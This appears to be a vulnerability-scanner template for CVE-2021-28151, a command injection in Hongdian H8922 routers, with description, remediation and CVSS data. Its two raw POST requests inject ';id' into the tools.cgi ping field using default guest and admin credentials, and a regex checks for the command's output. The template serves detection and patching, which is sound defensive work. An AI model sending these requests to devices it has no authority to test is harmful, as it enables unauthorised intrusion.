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id : CVE-2021-28151
info :
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name : Hongdian H8922 3.0.5 - Remote Command Injection
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author : gy741
severity : high
description : |
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Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.
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remediation : |
Apply the latest security patch or update to a non-vulnerable version of the Hongdian H8922 firmware.
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reference :
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- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
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- http://en.hongdian.com/Products/Details/H8922
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- https://nvd.nist.gov/vuln/detail/CVE-2021-28151
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 8.8
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cve-id : CVE-2021-28151
cwe-id : CWE-78
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epss-score : 0.97051
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epss-percentile : 0.99693
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cpe : cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
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metadata :
max-request : 2
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vendor : hongdian
product : h8922_firmware
tags : cve,cve2021,hongdian,rce,injection
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http :
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- raw :
- |
POST /tools.cgi HTTP/1.1
Host : {{Hostname}}
Authorization : Basic Z3Vlc3Q6Z3Vlc3Q=
Origin : {{BaseURL}}
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Referer : {{BaseURL}}/tools.cgi
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op_type=ping&destination=%3Bid
- |
POST /tools.cgi HTTP/1.1
Host : {{Hostname}}
Authorization : Basic YWRtaW46YWRtaW4=
Origin : {{BaseURL}}
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Referer : {{BaseURL}}/tools.cgi
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op_type=ping&destination=%3Bid
matchers-condition : and
matchers :
- type : word
part : header
words :
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- "text/html"
- "application/x-www-form-urlencoded"
condition : or
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- type : regex
regex :
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
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- type : status
status :
- 200
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# digest: 4a0a004730450220233953f1f9de08f5f4b064d6ef6fb098e0a420692084f74e8adb9a55eea1d78902210080d2a666b15936612af2a2dd7bc60be5bd32a59a98049946aba3c7eff00d3c41:922c64590222798bb761d5b6d8e72950
